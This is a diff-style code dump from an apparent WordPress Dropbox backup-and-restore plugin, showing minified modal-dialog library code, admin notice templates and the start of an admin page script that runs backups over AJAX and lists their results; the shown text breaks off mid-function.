c&&b.wrap.css("marginRight",g-c+"px")}e.not(a).each(function(){d(this).data("arcticmodal").overlay.block.hide()});f.transition(b.overlay.block,"show",1<e.length?{type:"none"}:b.openEffect);f.transition(b.container.block,"show",1<e.length?{type:"none"}:b.openEffect,function(){b.afterOpen(b,a);a.trigger("afterOpen")});return a}},close:function(){if(d.isFunction(this))e.each(function(){d(this).arcticmodal("close")});else return this.each(function(){var a=f.getParentEl(this);if(!1===a)d.error("jquery.arcticmodal: Uncorrect call");
|
20 |
+
else{var b=a.data("arcticmodal");!1!==b.beforeClose(b,a)&&(a.trigger("beforeClose"),e.not(a).last().each(function(){d(this).data("arcticmodal").overlay.block.show()}),f.transition(b.overlay.block,"hide",1<e.length?{type:"none"}:b.closeEffect),f.transition(b.container.block,"hide",1<e.length?{type:"none"}:b.closeEffect,function(){b.afterClose(b,a);a.trigger("afterClose");b.clone||d("#arcticmodalReserve"+b.modalID).replaceWith(b.body.find(">*"));b.overlay.block.remove();b.container.block.remove();a.data("arcticmodal",
|
21 |
+
null);d(".arcticmodal-container").length||(b.wrap.data("arcticmodalOverflow")&&b.wrap.css("overflow",b.wrap.data("arcticmodalOverflow")),b.wrap.css("marginRight",0))}),"ajax"==b.type&&b.ajax_request.abort(),e=e.not(a))}})},setDefault:function(a){d.extend(!0,g,a)}};d(function(){g.wrap=d(document.all&&!document.querySelector?"html":"body")});d(document).bind("keyup.arcticmodal",function(a){var b=e.last();b.length&&b.data("arcticmodal").closeOnEsc&&27===a.keyCode&&b.arcticmodal("close")});d.arcticmodal=
|
22 |
+
d.fn.arcticmodal=function(a){if(h[a])return h[a].apply(this,Array.prototype.slice.call(arguments,1));if("object"===typeof a||!a)return f.init.apply(this,arguments);d.error("jquery.arcticmodal: Method "+a+" does not exist")}})(jQuery);
|
template/not-ok.png
ADDED
Binary file
|
template/notice.php
ADDED
@@ -0,0 +1,8 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<div class="clear"></div>
|
2 |
+
<div class="update-nag" style="width: 95%;">
|
3 |
+
<?php langWPADM::get('Professional version of'); ?>
|
4 |
+
"<a href="<?php echo admin_url("admin.php?page=wpadm_wp_full_backup_dropbox"); ?>" title="<?php langWPADM::get('Dropbox backup and restore"')?>" alt="<?php langWPADM::get('Dropbox backup and restore')?>"><?php langWPADM::get('Dropbox backup and restore')?></a>"
|
5 |
+
<?php langWPADM::get(' plugin is now available!'); ?>
|
6 |
+
<a href="<?php echo admin_url("admin.php?page=wpadm_wp_full_backup_dropbox"); ?>" title="<?php langWPADM::get('Read more...')?>" alt="<?php langWPADM::get('Read more...')?>"><?php langWPADM::get('Read more...')?></a>
|
7 |
+
<a href="<?php echo admin_url( 'admin-post.php?action=hide_notice&type=preview' ); ?>" style="float: right; font-size: 12px;">[<?php langWPADM::get('hide this message')?>]</a>
|
8 |
+
</div>
|
template/notice5.php
ADDED
@@ -0,0 +1,11 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<div class="clear"></div>
|
2 |
+
<div class="updated notice" style="width: 95%;">
|
3 |
+
<p>
|
4 |
+
<?php echo str_replace("%s", $time, langWPADM::get('You use Dropbox backup and restore plugin successfully for more than %s. Please, leave a 5 star review for our development team, because it inspires us to develop this plugin for you.', false )) ; ?><br />
|
5 |
+
<?php langWPADM::get('Thank you!')?>
|
6 |
+
<br />
|
7 |
+
<a href="https://wordpress.org/support/view/plugin-reviews/dropbox-backup?filter=5" ><?php langWPADM::get('Leave review'); ?></a><br />
|
8 |
+
<a href="<?php echo admin_url( 'admin-post.php?action=hide_notice&type=star' );?>"><?php langWPADM::get('I already left a review'); ?></a><br />
|
9 |
+
<a href="<?php echo admin_url( 'admin-post.php?action=hide_notice&type=star&hide=' . $hide );?>"><?php langWPADM::get('Hide this message'); ?></a><br />
|
10 |
+
</p>
|
11 |
+
</div>
|
template/ok-icon.png
ADDED
Binary file
|
template/ok.png
ADDED
Binary file
|
template/wpadm_show_backup.php
ADDED
@@ -0,0 +1,1345 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<div class="wrap">
|
2 |
+
<script src="<?php echo plugin_dir_url(__FILE__) . 'js/jquery.arcticmodal-0.3.min.js'?>" type="text/javascript"></script>
|
3 |
+
<link rel='stylesheet' href='<?php echo plugin_dir_url(__FILE__) . 'js/jquery.arcticmodal-0.3.css'?>' type='text/css' media='all' />
|
4 |
+
<style>
|
5 |
+
.pointer {
|
6 |
+
cursor: pointer;
|
7 |
+
}
|
8 |
+
</style>
|
9 |
+
<script>
|
10 |
+
var home_url = '<?php echo SITE_HOME; ?>';
|
11 |
+
var type_backup = '';
|
12 |
+
function blickForm(id, t)
|
13 |
+
{
|
14 |
+
if(t.checked == true) {
|
15 |
+
t.checked = false;
|
16 |
+
}
|
17 |
+
l = jQuery('#' + id).length;
|
18 |
+
showRegistInfo(false);
|
19 |
+
if (l > 0) {
|
20 |
+
blick(id);
|
21 |
+
}
|
22 |
+
}
|
23 |
+
function showRegistInfo(show)
|
24 |
+
{
|
25 |
+
display = jQuery('#cf_activate').css('display');
|
26 |
+
if (display == 'none') {
|
27 |
+
jQuery('#cf_activate').show('slow');
|
28 |
+
jQuery('#registr-show').html("<?php langWPADM::get('Hide'); ?>");
|
29 |
+
jQuery('#title-regisr').css("padding" , "0px 0px");
|
30 |
+
jQuery('#registr-choice-icon').removeClass("dashicons-arrow-down").addClass('dashicons-arrow-up');
|
31 |
+
} else {
|
32 |
+
if (show) {
|
33 |
+
jQuery('#cf_activate').hide('slow');
|
34 |
+
jQuery('#registr-show').html("<?php langWPADM::get('Show'); ?>");
|
35 |
+
jQuery('#title-regisr').css("padding" , "20px 0px");
|
36 |
+
jQuery('#registr-choice-icon').removeClass("dashicons-arrow-up").addClass('dashicons-arrow-down');
|
37 |
+
}
|
38 |
+
}
|
39 |
+
}
|
40 |
+
function showSetting(show)
|
41 |
+
{
|
42 |
+
display = jQuery('#setting_active').css('display');
|
43 |
+
if (display == 'none') {
|
44 |
+
jQuery('#setting_active').show(1000);
|
45 |
+
jQuery('#setting-show').html("<?php langWPADM::get('Hide'); ?>");
|
46 |
+
jQuery('#title-setting').css("padding" , "0px 0px");
|
47 |
+
jQuery('#setting-choice-icon').removeClass("dashicons-arrow-down").addClass('dashicons-arrow-up');
|
48 |
+
} else {
|
49 |
+
if (show) {
|
50 |
+
jQuery('#setting_active').hide('slow');
|
51 |
+
jQuery('#setting-show').html("<?php langWPADM::get('Show'); ?>");
|
52 |
+
jQuery('#title-setting').css("padding" , "20px 0px");
|
53 |
+
jQuery('#setting-choice-icon').removeClass("dashicons-arrow-up").addClass('dashicons-arrow-down');
|
54 |
+
}
|
55 |
+
}
|
56 |
+
}
|
57 |
+
process_flag = 0;
|
58 |
+
function start_local_backup()
|
59 |
+
{
|
60 |
+
d = new Date();
|
61 |
+
var data_backup = {
|
62 |
+
'action': 'wpadm_local_backup',
|
63 |
+
'time': Math.ceil( (d.getTime() + (-d.getTimezoneOffset() * 60000 ) ) / 1000 )
|
64 |
+
};
|
65 |
+
jQuery("#logs-form").show("slow");
|
66 |
+
jQuery("#action-buttons").css('margin-top', '8px');
|
67 |
+
<?php if(!$stars5) { ?>
|
68 |
+
jQuery("#support-button").css('margin-top', '132px');
|
69 |
+
<?php } else { ?>
|
70 |
+
jQuery("#support-button").css('margin-top', '8px');
|
71 |
+
<?php } ?>
|
72 |
+
jQuery("#log-backup").html('');
|
73 |
+
jQuery(".title-logs").css('display', 'block');
|
74 |
+
jQuery(".title-status").css('display', 'none');
|
75 |
+
type_backup = 'local_backup';
|
76 |
+
jQuery.ajax({
|
77 |
+
type: "POST",
|
78 |
+
url: ajaxurl,
|
79 |
+
data: data_backup,
|
80 |
+
success: function(data){
|
81 |
+
if (data.result != 'work') {
|
82 |
+
process_flag = 0;
|
83 |
+
showData(data);
|
84 |
+
}
|
85 |
+
process_flag = 1
|
86 |
+
processBar(type_backup);
|
87 |
+
showTime();
|
88 |
+
|
89 |
+
},
|
90 |
+
error: function(jqXHR, textStatus, errorThrown){
|
91 |
+
processStop();
|
92 |
+
AjaxAlert(jqXHR, textStatus, errorThrown);
|
93 |
+
},
|
94 |
+
dataType: 'json'
|
95 |
+
});
|
96 |
+
}
|
97 |
+
function AjaxAlert(jqXHR, textStatus, errorThrown)
|
98 |
+
{
|
99 |
+
var msg = 'Website "' + home_url + '" returned an error during operation with return:<br /><br /> <span style="font-size:13px; font-style: italic;">code: ' + jqXHR.status + ', text status: ' + textStatus + ', text: ' + errorThrown + "</span>";
|
100 |
+
jQuery("#ajax-message").html(msg);
|
101 |
+
jQuery("#msg_ajax").val(msg);
|
102 |
+
jQuery('#ajax-alert').arcticmodal({
|
103 |
+
beforeOpen: function(data, el) {
|
104 |
+
jQuery('#ajax-alert').css('display','block');
|
105 |
+
},
|
106 |
+
afterClose: function(data, el) {
|
107 |
+
jQuery('#ajax-alert').css('display','none');
|
108 |
+
}
|
109 |
+
});
|
110 |
+
}
|
111 |
+
|
112 |
+
function stopBackup()
|
113 |
+
{
|
114 |
+
|
115 |
+
var data_backup = {
|
116 |
+
'action': 'stop_backup',
|
117 |
+
'type-backup': type_backup,
|
118 |
+
};
|
119 |
+
jQuery.ajax({
|
120 |
+
type: "POST",
|
121 |
+
url: ajaxurl,
|
122 |
+
data: data_backup,
|
123 |
+
dataType: 'json',
|
124 |
+
success: function(data){
|
125 |
+
|
126 |
+
},
|
127 |
+
error: function(jqXHR, textStatus, errorThrown) {
|
128 |
+
processStop();
|
129 |
+
AjaxAlert(jqXHR, textStatus, errorThrown);
|
130 |
+
},
|
131 |
+
});
|
132 |
+
|
133 |
+
}
|
134 |
+
|
135 |
+
var auth_param = <?php echo isset($dropbox_options['app_key']) && isset($dropbox_options['app_secret']) && isset($dropbox_options['uid']) && $dropbox_options['uid'] != '' ? 'false' : 'true' ?>;
|
136 |
+
function start_dropbox_backup()
|
137 |
+
{
|
138 |
+
if (auth_param === false) {
|
139 |
+
d = new Date();
|
140 |
+
process_flag = 0;
|
141 |
+
|
142 |
+
var data_backup = {
|
143 |
+
'action': 'wpadm_dropbox_create',
|
144 |
+
'time': Math.ceil( (d.getTime() + (-d.getTimezoneOffset() * 60000 ) ) / 1000 ),
|
145 |
+
};
|
146 |
+
jQuery("#logs-form").show("slow");
|
147 |
+
jQuery("#action-buttons").css('margin-top', '8px');
|
148 |
+
|
149 |
+
<?php if(!$stars5) { ?>
|
150 |
+
jQuery("#support-button").css('margin-top', '132px');
|
151 |
+
<?php } else { ?>
|
152 |
+
jQuery("#support-button").css('margin-top', '8px');
|
153 |
+
<?php } ?>
|
154 |
+
jQuery("#log-backup").html('');
|
155 |
+
jQuery(".title-logs").css('display', 'block');
|
156 |
+
jQuery(".title-status").css('display', 'none');
|
157 |
+
type_backup = 'send-to-dropbox';
|
158 |
+
jQuery.ajax({
|
159 |
+
type: "POST",
|
160 |
+
url: ajaxurl,
|
161 |
+
data: data_backup,
|
162 |
+
success: function(data){
|
163 |
+
if (data.result !== 'work') {
|
164 |
+
process_flag = 0;
|
165 |
+
if (data.result == 'success') {
|
166 |
+
jQuery('.title-logs').css('display', 'none');
|
167 |
+
jQuery('.title-status').css({'display':'block', 'color':'green'});
|
168 |
+
jQuery('.title-status').html('<?php langWPADM::get('Dropbox Backup was created successfully'); ?>');
|
169 |
+
} else {
|
170 |
+
jQuery('.title-logs').css('display', 'none');
|
171 |
+
jQuery('.title-status').css({'display':'block', 'color':'red'});
|
172 |
+
jQuery('.title-status').html("<?php langWPADM::get('Dropbox Backup wasn\'t created. '); ?>" + data.error);
|
173 |
+
}
|
174 |
+
showData(data);
|
175 |
+
jQuery('.table').css('display', 'table');
|
176 |
+
}
|
177 |
+
process_flag = 1
|
178 |
+
processBar('send-to-dropbox');
|
179 |
+
showTime();
|
180 |
+
|
181 |
+
},
|
182 |
+
error: function(jqXHR, textStatus, errorThrown) {
|
183 |
+
processStop();
|
184 |
+
AjaxAlert(jqXHR, textStatus, errorThrown);
|
185 |
+
},
|
186 |
+
dataType: 'json'
|
187 |
+
});
|
188 |
+
} else {
|
189 |
+
jQuery('#is-dropbox-auth').arcticmodal({
|
190 |
+
beforeOpen: function(data, el) {
|
191 |
+
jQuery('#is-dropbox-auth').css('display','block');
|
192 |
+
|
193 |
+
},
|
194 |
+
afterClose: function(data, el) {
|
195 |
+
jQuery('#is-dropbox-auth').css('display','none');
|
196 |
+
showSetting(false);
|
197 |
+
blick('app_key', 4);
|
198 |
+
blick('app_secret', 4);
|
199 |
+
}
|
200 |
+
});
|
201 |
+
}
|
202 |
+
}
|
203 |
+
function showData(data)
|
204 |
+
{
|
205 |
+
jQuery('.table').css('display', 'table');
|
206 |
+
if (type_backup == 'local_backup') {
|
207 |
+
if (data.result == 'success') {
|
208 |
+
jQuery('.title-logs').css('display', 'none');
|
209 |
+
jQuery('.title-status').css({'display':'block', 'color':'green'});
|
210 |
+
jQuery('.title-status').html('<?php langWPADM::get('Local Backup was created successfully'); ?>');
|
211 |
+
} else {
|
212 |
+
jQuery('.title-logs').css('display', 'none');
|
213 |
+
jQuery('.title-status').css({'display':'block', 'color':'red'});
|
214 |
+
jQuery('.title-status').html("<?php langWPADM::get('Local Backup wasn\'t created'); ?>");
|
215 |
+
}
|
216 |
+
} else {
|
217 |
+
if (data.result == 'success') {
|
218 |
+
jQuery('.title-logs').css('display', 'none');
|
219 |
+
jQuery('.title-status').css({'display':'block', 'color':'green'});
|
220 |
+
jQuery('.title-status').html('<?php langWPADM::get('Dropbox Backup was created successfully'); ?>');
|
221 |
+
} else {
|
222 |
+
jQuery('.title-logs').css('display', 'none');
|
223 |
+
jQuery('.title-status').css({'display':'block', 'color':'red'});
|
224 |
+
jQuery('.title-status').html("<?php langWPADM::get('Dropbox Backup wasn\'t created. '); ?>" + data.error);
|
225 |
+
}
|
226 |
+
}
|
227 |
+
size_backup = data.size / 1024 / 1024;
|
228 |
+
if (data.size != 0 || data.result != 'error') {
|
229 |
+
var img_table =
|
230 |
+
'<img src="<?php echo plugin_dir_url(__FILE__) . "ok.png" ;?>" title="Successful" alt="Successful" style="float: left; width: 20px; height: 20px;" />' +
|
231 |
+
'<div style="margin-top :1px;float: left;"><?php echo langWPADM::get('Successful', false);?></div>';
|
232 |
+
name_backup = data.name;
|
233 |
+
} else {
|
234 |
+
var img_table =
|
235 |
+
'<img src="<?php echo plugin_dir_url(__FILE__) . "not-ok.png" ;?>" title="fail" alt="fail" style="float: left; width: 20px; height: 20px;" />' +
|
236 |
+
'<div style="margin-top :1px;float: left;"><?php echo langWPADM::get('Fail', false);?> (<a style="text-decoration:underline;"><?php echo langWPADM::get('Show Details', false);?></a>)</div>';
|
237 |
+
name_backup = '<?php echo langWPADM::get('Not available', false);?>';
|
238 |
+
}
|
239 |
+
info = "";
|
240 |
+
if (data.data) {
|
241 |
+
for(i = 0; i < data.data.length; i++) {
|
242 |
+
e = data.data[i].split('/');
|
243 |
+
info += '<tr style="border: 0;">' +
|
244 |
+
'<td style="border: 0;padding: 0px;"><a href="<?php echo content_url(DROPBOX_BACKUP_DIR_NAME) . '/'; ?>' + data.name + '/' + e[e.length - 1] + '">' + e[e.length - 1] + '</td>' +
|
245 |
+
'</tr>' ;
|
246 |
+
}
|
247 |
+
|
248 |
+
co = jQuery('.number-backup').length + 1;
|
249 |
+
jQuery('.table > tbody:last').after(
|
250 |
+
'<tr>'+
|
251 |
+
'<td class="number-backup" onclick="shows(\'' + data.md5_data + '\', this)">' +
|
252 |
+
co +
|
253 |
+
'</td>' +
|
254 |
+
'<td class="pointer" onclick="shows(\'' + data.md5_data + '\', this)" style="text-align: left; padding-left: 7px;" >' +
|
255 |
+
data.time +
|
256 |
+
'</td>' +
|
257 |
+
'<td class="pointer" onclick="shows(\'' + data.md5_data + '\', this)">' +
|
258 |
+
name_backup +
|
259 |
+
'</td>' +
|
260 |
+
'<td class="pointer" onclick="shows(\'' + data.md5_data + '\',this)">' +
|
261 |
+
data.counts +
|
262 |
+
'</td>' +
|
263 |
+
'<td class="pointer" onclick="shows(\'' + data.md5_data + '\', this)">' +
|
264 |
+
img_table +
|
265 |
+
'</td>' +
|
266 |
+
'<td class="pointer" onclick="shows(\'' + data.md5_data + '\', this)">' +
|
267 |
+
data.type + ' <?php langWPADM::get('backup')?>' +
|
268 |
+
'</td>' +
|
269 |
+
'<td class="pointer" onclick="shows(\'' + data.md5_data + '\', this)">' +
|
270 |
+
size_backup.toFixed(2) + "<?php langWPADM::get('Mb')?>" +
|
271 |
+
'</td>' +
|
272 |
+
'<td>' +
|
273 |
+
'<a href="javascript:void(0)" class="button-wpadm" title="<?php langWPADM::get('Restore')?>" onclick="show_recovery_form(\'' + data.type + '\', \'' + data.name + '\')"><span class="pointer dashicons dashicons-backup"></span><?php langWPADM::get('Restore')?></a> ' +
|
274 |
+
'<a href="javascript:void(0)" class="button-wpadm" title="<?php langWPADM::get('Delete')?>" onclick="delete_backup(\'' + data.name + '\', \'' + data.type + '\')"><span class="pointer dashicons dashicons-trash"></span><?php langWPADM::get('Delete')?></a> ' +
|
275 |
+
'</td>' +
|
276 |
+
'</tr>'+
|
277 |
+
'<tr id="' + data.md5_data + '" style="display: none;">'+
|
278 |
+
'<td colspan="2">' +
|
279 |
+
'</td>' +
|
280 |
+
'<td align="center" style="padding: 0px; width: 350px;">' +
|
281 |
+
'<div style="overflow: auto; max-height: 150px;">' +
|
282 |
+
'<table border="0" align="center" style="width: 100%;" class="info-path">' +
|
283 |
+
info +
|
284 |
+
'</table>' +
|
285 |
+
'</div>' +
|
286 |
+
'</td>' +
|
287 |
+
'<td colspan="6"></td>' +
|
288 |
+
'</tr>')
|
289 |
+
}
|
290 |
+
}
|
291 |
+
var logs = [];
|
292 |
+
function processBar(method)
|
293 |
+
{
|
294 |
+
if (method == 'undefined') {
|
295 |
+
method = type_backup;
|
296 |
+
}
|
297 |
+
var data_log = {
|
298 |
+
'action': 'wpadm_logs',
|
299 |
+
'type-backup' : method,
|
300 |
+
};
|
301 |
+
jQuery.ajax({
|
302 |
+
type: "POST",
|
303 |
+
url: ajaxurl,
|
304 |
+
data: data_log,
|
305 |
+
success: function(response){
|
306 |
+
eval("var data=" + response);
|
307 |
+
for(s in data.log) {
|
308 |
+
if (jQuery.inArray(s , logs) == -1) {
|
309 |
+
l = jQuery("#log-backup").html();
|
310 |
+
l = "<div>" + data.log[s] + "</div>" + l;
|
311 |
+
jQuery("#log-backup").html(l);
|
312 |
+
}
|
313 |
+
}
|
314 |
+
if (process_flag == 1) {
|
315 |
+
if (data.data) {
|
316 |
+
showData(data.data);
|
317 |
+
processStop();
|
318 |
+
} else {
|
319 |
+
setTimeout('processBar("' + method + '")', 3000);
|
320 |
+
}
|
321 |
+
}
|
322 |
+
},
|
323 |
+
error: function(jqXHR, textStatus, errorThrown){
|
324 |
+
processStop();
|
325 |
+
AjaxAlert(jqXHR, textStatus, errorThrown);
|
326 |
+
},
|
327 |
+
});
|
328 |
+
}
|
329 |
+
|
330 |
+
function showTime(t)
